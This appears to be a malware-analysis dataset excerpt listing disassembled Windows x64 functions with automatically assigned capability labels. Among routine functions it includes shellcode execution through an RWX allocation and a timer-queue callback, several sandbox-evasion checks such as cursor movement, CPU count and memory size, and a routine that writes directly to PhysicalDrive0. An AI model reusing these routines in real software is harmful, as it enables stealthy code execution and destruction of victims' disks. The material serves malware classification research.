joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10003af40
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
push rbx
push rbp
push rsi
push rdi
push r12
sub rsp, 0x40
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov rsi, r8
mov rbp, rdx
mov r12, rcx
mov rcx, qword [r8 + 8]
test rcx, rcx
je 0x10003b0de
mov rcx, qword [rcx + 0x18]
test rcx, rcx
jne 0x10003af85
xor ebx, ebx
mov qword [rsp + 0x28], rbx
jmp 0x10003afa6
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov rbx, rax
mov qword [rsp + 0x28], rax
test rax, rax
jne 0x10003afa6
mov ecx, 0x8007000e
call fcn.1000242f0
nop
jmp 0x10003afa5
nop
test rbx, rbx
je 0x10003b073
mov rcx, rbx
call qword [sym.imp.OLEAUT32.dll_VariantInit]
test eax, eax
je 0x10003b073
lea rdx, [0x100066a5c]
lea rcx, [rsp + 0x20]
call fcn.100001740
nop
mov edx, 0x9f
lea rcx, [rsp + 0x20]
call fcn.1000017cc
mov r9, rax
mov edx, 0xd
mov r8d, 0xa0
mov rcx, qword [r12 + 0x1c0]
call qword [sym.imp.USER32.dll_SendMessageW]
or edx, 0xffffffff
lea rcx, [rsp + 0x20]
call fcn.100001844
mov rdx, qword [rsp + 0x20]
mov rdi, rbx
sub rdi, rdx
movzx eax, word [rdx]
movzx ecx, word [rdx + rdi]
sub eax, ecx
jne 0x10003b028
add rdx, 2
test ecx, ecx
jne 0x10003b015
test eax, eax
je 0x10003b068
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rbx
repne scasw ax, word [rdi]
not rcx
lea r8d, [rcx - 1]
mov rdx, rbx
lea rcx, [r12 + 0x220]
call fcn.100008590
mov r9, rbx
xor r8d, r8d
lea edx, [r8 + 0xc]
mov rcx, qword [r12 + 0x1c0]
call qword [sym.imp.USER32.dll_SendMessageW]
nop
lea rcx, [rsp + 0x20]
call fcn.1000012a0
nop
mov rcx, rbx
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
nop
mov rax, qword [rbp]
lock add dword [rax], 0xffffffff
jne 0x10003b0ad
mov rcx, qword [rbp + 8]
test rcx, rcx
je 0x10003b09a
mov rax, qword [rcx]
mov edx, 1
call qword [rax]
and qword [rbp + 8], 0
mov rcx, qword [rbp]
call sub.msvcrt.dll_free
and qword [rbp], 0
mov rax, qword [rsi]
lock add dword [rax], 0xffffffff
jne 0x10003b0da
mov rcx, qword [rsi + 8]
test rcx, rcx
je 0x10003b0c9
mov rax, qword [rcx]
mov edx, 1
call qword [rax]
and qword [rsi + 8], 0
mov rcx, qword [rsi]
call sub.msvcrt.dll_free
and qword [rsi], 0
xor eax, eax
jmp 0x10003b0fb
and dword [rsp + 0x88], 0
lea rdx, [0x1000788f0]
lea rcx, [rsp + 0x88]
call sub.msvcrt.dll__CxxThrowException
nop
add rsp, 0x40
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x10003ba98
Capabilities:
Create process on windows

Disassembly:
sub rsp, 0x38
sub r8d, 0x4e
je 0x10003bad2
sub r8d, 0xc2
je 0x10003bac9
cmp r8d, 1
jne 0x10003bace
shr r9, 0x10
xor eax, eax
cmp r9w, ax
jne 0x10003bace
mov rdx, qword [rsp + 0x60]
call fcn.10003bcec
jmp 0x10003bace
call fcn.10003bb30
xor eax, eax
jmp 0x10003bb21
mov rax, qword [rsp + 0x60]
cmp dword [rax + 0x10], 0xffffff36
je 0x10003bb15
cmp dword [rax + 0x10], 0xfffffffc
je 0x10003baec
cmp dword [rax + 0x10], 0xfffffffe
jne 0x10003bace
mov r8, qword [rcx + 0x40]
mov rcx, qword [rcx + 0x38]
xor eax, eax
lea rdx, str.open
xor r9d, r9d
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
jmp 0x10003bb1a
call fcn.10003bd7c
mov rax, 1
add rsp, 0x38
ret

Function at 0x10003eb3c
Capabilities:
Identify system language via api

Disassembly:
push rbx
sub rsp, 0x80
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov rax, qword [0x100090120]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov rbx, rcx
mov qword [rsp + 0x38], rcx
and dword [rsp + 0x20], 0
mov rax, qword [0x100091250]
mov qword [rcx], rax
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
movzx ecx, ax
mov r8d, 0x10
lea rdx, [rsp + 0x40]
call qword [sym.imp.msvcrt.dll__itow]
lea rdx, [0x10006e2b8]
mov rcx, rbx
call fcn.100002354
lea r8, [rsp + 0x40]
mov rdx, rbx
lea rcx, [rsp + 0x28]
call fcn.10000592c
nop
mov rdx, rax
mov rcx, rbx
call fcn.10000370c
nop
lea rcx, [rsp + 0x28]
call fcn.1000012a0
mov rax, rbx
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.100001100
add rsp, 0x80
pop rbx
ret
Function at 0x10003f3a0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push rbp
push rsi
push rdi
sub rsp, 0x60
lea rbp, [rsp + 0x40]
mov qword [rbp + 0x50], rbx
mov rax, qword [0x100090120]
xor rax, rbp
mov qword [rbp + 0x10], rax
mov rsi, qword [rbp + 0x60]
mov eax, edx
mov rdi, rcx
test edx, edx
je 0x10003f3fe
mov ecx, 0x23
lea rdx, [rbp + 2]
lea r8d, [rcx - 0x19]
mov word [rbp], cx
mov ecx, eax
call qword [sym.imp.msvcrt.dll__itow]
lea r8, [0x10006de28]
lea rdx, [rbp]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindResourceW]
jmp 0x10003f499
lea rcx, [0x10006de28]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea r9d, [rax + 1]
cmp r9d, 0x3fffffff
jg 0x10003f486
movsxd rax, r9d
add rax, rax
lea rcx, [rax + 0xf]
cmp rcx, rax
ja 0x10003f431
movabs rcx, 0xffffffffffffff0
and rcx, 0xfffffffffffffff0
mov rax, rcx
call fcn.100002240
sub rsp, rcx
lea rbx, [rsp + 0x40]
test rbx, rbx
je 0x10003f486
and qword [rsp + 0x38], 0
and qword [rsp + 0x30], 0
lea eax, [r9 + r9]
xor edx, edx
mov dword [rsp + 0x28], eax
lea r8, [0x10006de28]
lea ecx, [rdx + 3]
or r9d, 0xffffffff
mov byte [rbx], 0
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
neg eax
sbb r8, r8
and r8, rbx
jmp 0x10003f489
xor r8d, r8d
lea rdx, [0x10006d542]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rbx, rax
test rax, rax
jne 0x10003f4a5
xor eax, eax
jmp 0x10003f4d1
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [rsi], eax
test eax, eax
je 0x10003f4a1
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x10003f4a1
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rcx, qword [rbp + 0x10]
xor rcx, rbp
call fcn.100001100
mov rbx, qword [rbp + 0x50]
lea rsp, [rbp + 0x20]
pop rdi
pop rsi
pop rbp
ret
Function at 0x100041c24
Capabilities:
Query or enumerate registry value

Disassembly:
mov rax, rsp
push rdi
sub rsp, 0x50
mov qword [rsp + 0x40], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov rdi, rcx
and dword [rax + 0x10], 0
mov dword [rax + 0x18], 4
lea rcx, [rax - 0x20]
call fcn.10000ee6c
lea r8, [rsp + 0x30]
mov rdx, qword [rax]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
sete bl
lea rcx, [rsp + 0x38]
call fcn.1000012a0
test bl, bl
je 0x100041d52
lea rax, [rsp + 0x70]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x68]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x78]
xor r8d, r8d
lea rdx, str.GlobalOnlineAssist
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_RegQueryValueExW]
test eax, eax
jne 0x100041cdb
cmp dword [rsp + 0x78], 4
jne 0x100041cdb
lea rcx, [rsp + 0x38]
call fcn.100007f90
nop
mov r8d, dword [rsp + 0x68]
mov rdx, rax
mov rcx, rdi
call fcn.100001f24
nop
lea rcx, [rsp + 0x38]
call fcn.1000012a0
and dword [rsp + 0x68], 0
mov dword [rsp + 0x70], 4
lea rax, [rsp + 0x70]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x68]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x78]
xor r8d, r8d
lea rdx, str.GlobalImplicitFeedback
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_RegQueryValueExW]
test eax, eax
jne 0x100041d47
cmp dword [rsp + 0x78], 4
jne 0x100041d47
lea rcx, [rsp + 0x38]
call fcn.100016254
nop
mov r8d, dword [rsp + 0x68]
mov rdx, rax
mov rcx, rdi
call fcn.100001f24
nop
lea rcx, [rsp + 0x38]
call fcn.1000012a0
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret

Function at 0x100042ab0
Capabilities:
Create thread
Resume thread

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
lea rdi, [rcx + 8]
cmp byte [rdi + 8], 0
jne 0x100042b72
mov byte [rdi + 8], 1
cmp qword [rdi + 0xa8], 0
jne 0x100042b6a
and qword [rsp + 0x28], 0
lea r9, [rdi + 0x80]
lea r8, [0x1000526b0]
mov edx, 0xffff
xor ecx, ecx
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rdi + 0xa8], rax
test rax, rax
je 0x100042b5e
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rdi + 0xb0], rax
call qword [sym.imp.KERNEL32.dll_CreateEventW]
cmp qword [rdi + 0xb0], 0
mov qword [rdi + 0xb8], rax
je 0x100042b5e
test rax, rax
je 0x100042b5e
mov rcx, qword [rdi + 0xa8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
jne 0x100042b6a
lea rcx, [rdi + 0x80]
call fcn.10005243c
mov rcx, rdi
call fcn.100047fac
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
Function at 0x10004341c
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
sub rsp, 0x20
xor ebx, ebx
movsxd r12, r9d
mov rdi, r8
mov rbp, rcx
cmp r8, rbx
jne 0x10004344b
xor eax, eax
jmp 0x10004353d
mov esi, edx
xor r9d, r9d
shr edx, 4
lea r13d, [r9 + 1]
mov word [r8], bx
and esi, 0xf
add dx, r13w
movzx r8d, dx
lea edx, [r9 + 6]
call qword [sym.imp.KERNEL32.dll_FindResourceExW]
cmp rax, rbx
je 0x10004353b
mov rdx, rax
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_LoadResource]
cmp rax, rbx
je 0x10004353b
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r11, rax
cmp rax, rbx
je 0x10004353b
cmp esi, ebx
jbe 0x1000434bb
mov ecx, esi
movzx eax, word [r11]
add eax, r13d
sub rcx, r13
cdqe
lea r11, [r11 + rax*2]
jne 0x1000434a9
movzx eax, word [r11]
lea r9d, [r12 - 1]
mov rdx, r12
cmp r9d, eax
cmovl eax, r9d
movsxd r8, eax
cmp r12, rbx
je 0x100043525
cmp rdx, 0x7fffffff
ja 0x100043525
cmp r8, 0x7ffffffe
jbe 0x1000434ed
mov word [rdi], bx
jmp 0x100043525
lea r10, [r11 + 2]
sub r8, rdx
mov rcx, rdi
sub r10, rdi
lea rax, [r8 + rdx]
cmp rax, rbx
je 0x100043519
movzx eax, word [r10 + rcx]
cmp ax, bx
je 0x100043519
mov word [rcx], ax
add rcx, 2
sub rdx, r13
jne 0x1000434fa
cmp rdx, rbx
jne 0x100043522
sub rcx, 2
mov word [rcx], bx
movzx ecx, word [r11]
cmp r9d, ecx
cmovl ecx, r9d
movsxd rcx, ecx
mov word [rdi + rcx*2], bx
movzx ebx, word [r11]
mov eax, ebx
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r13
pop r12
pop rdi
ret
Function at 0x140001e50
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140008100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400080e0]
test rbx, rbx
je 0x140001eac
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140001ea3
test rsi, rsi
je 0x140001ea3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140001e88
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x1400020c0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call qword [rax]
nop
nop
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__exit]
call qword [rax]
nop
nop
nop
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400020f8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140002100
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x1400020d0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call qword [rax]
nop
nop
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__exit]
call qword [rax]
nop
nop
nop
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400020f8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140002100
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x1400020e0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call qword [rax]
nop
nop
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__exit]
call qword [rax]
nop
nop
nop
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400020f8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140002100
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140002200
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140005e60]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002220
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002228
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002220
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000227d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x140002274
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002220
add rax, 0x28
cmp rax, r9
jne 0x140002260
xor eax, eax
ret

Function at 0x140002280
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140005e60]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000229f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400022a8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000229f
movzx ecx, word [rax + 6]
mov eax, ecx
ret
Function at 0x140002340
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140005e60]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000235f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002368
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140002520
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x28
mov r8d, 0x2c
mov ecx, 2
lea rdx, str._stack_smashing_detected_:_terminated_n
call sub.api_ms_win_crt_stdio_l1_1_0.dll__write
mov ecx, 0x17
call sub.KERNEL32.dll_IsProcessorFeaturePresent
test eax, eax
je 0x140002550
mov ecx, 2
int 0x29
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop

Function at 0x140002a50
Capabilities:
Allocate or change rwx memory
Execute shellcode via windows callback function

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
mov rbp, qword [0x140005f30]
mov r9d, 0x40
mov r8d, 0x1000
mov rax, qword [rbp]
mov qword [rsp + 0x48], rax
xor eax, eax
mov rsi, rdx
mov rdi, rcx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rsi
mov rdx, rdi
mov rcx, rax
mov rbx, rax
call sub.api_ms_win_crt_private_l1_1_0.dll_memmove
call qword [sym.imp.KERNEL32.dll_CreateTimerQueue]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdi, rax
mov edx, 1
call qword [sym.imp.KERNEL32.dll_CreateEventA]
xor r9d, r9d
mov r8, rbx
mov rdx, rdi
lea rcx, [rsp + 0x40]
mov rsi, rax
xor eax, eax
mov dword [rsp + 0x20], 0x64
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x28], eax
call qword [sym.imp.KERNEL32.dll_CreateTimerQueueTimer]
test eax, eax
je 0x140002aea
or edx, 0xffffffff
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rax, qword [rsp + 0x48]
sub rax, qword [rbp]
je 0x140002afb
call fcn.140002520
nop
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
ret
Function at 0x140002b80
Capabilities:
Get local ipv4 addresses

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
mov rbp, qword [0x140005f30]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rax, qword [rbp]
mov qword [rsp + 0x48], rax
xor eax, eax
lea rsi, [rsp + 0x3c]
xor eax, eax
mov rdi, rcx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
mov dword [rsp + 0x3c], eax
call sub.IPHLPAPI.DLL_GetAdaptersAddresses
cmp eax, 0x6f
je 0x140002bca
xor eax, eax
jmp 0x140002c4c
mov edx, dword [rsp + 0x3c]
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
test rax, rax
mov rbx, rax
je 0x140002bc3
mov qword [rsp + 0x20], rsi
mov r9, rax
xor r8d, r8d
xor edx, edx
lea r12, [rsp + 0x42]
xor ecx, ecx
mov rsi, rbx
call sub.IPHLPAPI.DLL_GetAdaptersAddresses
cmp dword [rsi + 0x58], 6
jne 0x140002c35
mov eax, dword [rsi + 0x50]
mov r8d, 3
mov rdx, r12
mov rcx, rdi
mov dword [rsp + 0x42], eax
mov ax, word [rsi + 0x54]
mov word [rsp + 0x46], ax
call sub.api_ms_win_crt_private_l1_1_0.dll_memcmp
test eax, eax
jne 0x140002c35
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov al, 1
jmp 0x140002c4c
mov rsi, qword [rsi + 8]
test rsi, rsi
jne 0x140002bfd
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x140002bc3
mov rdx, qword [rsp + 0x48]
sub rdx, qword [rbp]
je 0x140002c5c
call fcn.140002520
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x140002d80
Capabilities:
Check for unmoving mouse cursor

Disassembly:
push rsi
push rbx
sub rsp, 0x48
mov rbx, qword [0x140005f30]
mov rsi, qword [sym.imp.USER32.dll_GetCursorPos]
mov rax, qword [rbx]
mov qword [rsp + 0x38], rax
xor eax, eax
lea rcx, [rsp + 0x28]
call rsi
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x30]
call rsi
mov edx, dword [rsp + 0x30]
xor eax, eax
cmp dword [rsp + 0x28], edx
jne 0x140002dce
mov eax, dword [rsp + 0x34]
cmp dword [rsp + 0x2c], eax
sete al
mov rdx, qword [rsp + 0x38]
sub rdx, qword [rbx]
je 0x140002ddd
call fcn.140002520
add rsp, 0x48
pop rbx
pop rsi
ret

Function at 0x140002df0
Capabilities:
Enumerate processes

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x160
mov rdi, qword [0x140005f30]
xor edx, edx
mov rax, qword [rdi]
mov qword [rsp + 0x158], rax
xor eax, eax
mov rsi, rcx
mov ecx, 2
mov dword [rsp + 0x28], 0x238
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea rbp, [rsp + 0x28]
mov rdx, rbp
mov rcx, rax
mov rbx, rax
call sub.KERNEL32.dll_Process32First
lea r12, [rsp + 0x54]
test eax, eax
jne 0x140002e48
xor eax, eax
jmp 0x140002e6a
mov rdx, rbp
mov rcx, rbx
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x140002e44
mov rdx, rsi
mov rcx, r12
call sub.api_ms_win_crt_string_l1_1_0.dll__stricmp
test eax, eax
jne 0x140002e48
mov eax, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x158]
sub rdx, qword [rdi]
je 0x140002e7c
call fcn.140002520
add rsp, 0x160
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
Function at 0x140002e90
Capabilities:
Get system information on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rbx, qword [0x140005f30]
mov rax, qword [rbx]
mov qword [rsp + 0x58], rax
xor eax, eax
lea rcx, [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rsp + 0x48], 1
setbe al
mov rdx, qword [rsp + 0x58]
sub rdx, qword [rbx]
je 0x140002ec8
call fcn.140002520
add rsp, 0x60
pop rbx
ret

Function at 0x140002ed0
Capabilities:
Get local ipv4 addresses

Disassembly:
sub rsp, 0x28
lea rcx, [0x140005050]
call fcn.140002b80
test al, al
jne 0x140002f44
lea rcx, [0x140005054]
call fcn.140002b80
test al, al
jne 0x140002f44
lea rcx, [0x140005058]
call fcn.140002b80
test al, al
jne 0x140002f44
lea rcx, [0x14000505c]
call fcn.140002b80
test al, al
jne 0x140002f44
lea rcx, [0x140005060]
call fcn.140002b80
test al, al
jne 0x140002f44
lea rcx, [0x140005064]
call fcn.140002b80
test al, al
jne 0x140002f44
lea rcx, [0x140005068]
add rsp, 0x28
jmp fcn.140002b80
mov al, 1
add rsp, 0x28
ret

Function at 0x140002f50
Capabilities:
Get memory capacity

Disassembly:
push rbx
sub rsp, 0x70
mov rbx, qword [0x140005f30]
mov rax, qword [rbx]
mov qword [rsp + 0x68], rax
xor eax, eax
mov dword [rsp + 0x28], 0x40
lea rcx, [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
cmp qword [rsp + 0x30], 0x7fffffff
setbe al
mov rdx, qword [rsp + 0x68]
sub rdx, qword [rbx]
je 0x140002f94
call fcn.140002520
add rsp, 0x70
pop rbx
ret
Function at 0x1400112a3
Capabilities:
Terminate process

Disassembly:
jmp 0x140013d00
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x140011343
Capabilities:
Terminate process

Disassembly:
jmp 0x140012480
push rbp
push rdi
sub rsp, 0x1e8
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x3a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x198], rax
lea rcx, [0x1400250f2]
call fcn.140011492
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x140012502
lea rdx, str.Woopsies_0_:_
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011096
lea rdx, [0x14001103c]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 1
jmp 0x140012625
lea rdx, str.CreateFileA
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x28], rax
lea rdx, str.WriteFile
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x48], rax
lea rdx, str.FreeLibrary
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x68], rax
lea rdx, str.CloseHandle
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x28], 0
je 0x140012567
cmp qword [rbp + 0x48], 0
jne 0x14001259e
lea rdx, str.Woopsies_1_:_
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011096
lea rdx, [0x14001103c]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, 1
jmp 0x140012625
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 3
mov edx, 0x10000000
lea rcx, str..PhysicalDrive0
call qword [rbp + 0x28]
mov qword [rbp + 0xc8], rax
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0xa4]
mov r8d, 0x3b9aca00
xor edx, edx
mov rcx, qword [rbp + 0xc8]
call qword [rbp + 0x48]
cmp eax, 1
jne 0x14001261b
mov rcx, qword [rbp + 0xc8]
call qword [rbp + 0x88]
mov rcx, qword [rbp + 8]
call qword [rbp + 0x68]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x14001bc00]
call fcn.140011406
mov rax, rdi
mov rcx, qword [rbp + 0x198]
xor rcx, rbp
call fcn.14001124e
lea rsp, [rbp + 0x1a8]
pop rdi
pop rbp
ret
Function at 0x140011352
Capabilities:
Parse pe header

Disassembly:
jmp 0x140015050
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140015070
xor al, al
jmp 0x1400150f1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140015083
xor al, al
jmp 0x1400150f1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x1400150ad
xor al, al
jmp 0x1400150f1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x1400150c1
xor al, al
jmp 0x1400150f1
mov rax, qword [rsp + 0x28]
